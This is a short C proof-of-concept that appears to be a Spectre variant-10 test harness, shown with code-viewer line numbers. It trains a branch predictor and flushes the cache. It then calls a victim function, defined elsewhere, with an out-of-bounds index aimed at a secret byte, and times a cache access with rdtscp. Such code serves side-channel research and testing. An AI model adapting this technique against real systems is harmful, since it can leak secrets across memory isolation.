1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <x86intrin.h>
/* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */
#define LLC_SIZE (2 << 20)
uint8_t dummy[LLC_SIZE];
size_t array_size = 4;
uint8_t array1[200] = {1, 2, 3, 4};
uint8_t array2[256 * 64 * 2];
uint8_t X;
uint8_t temp = 1;
void victim_function_v10(size_t x, uint8_t k);
int main()
{
victim_function_v10(0, 0);
victim_function_v10(0, 0);
victim_function_v10(0, 0);
victim_function_v10(0, 0);
victim_function_v10(0, 0);
memset(dummy, 1, sizeof(dummy)); // flush L2
X = 123; // set the secret value, and also bring it to cache
_mm_mfence();
size_t attack_idx = &X - array1;
victim_function_v10(attack_idx, 123);
unsigned int junk;
volatile uint8_t x;
unsigned long time1 = __rdtscp(&junk);
x ^= array2[0];
unsigned long time2 = __rdtscp(&junk);
printf("%d\n", time2 - time1);
}
|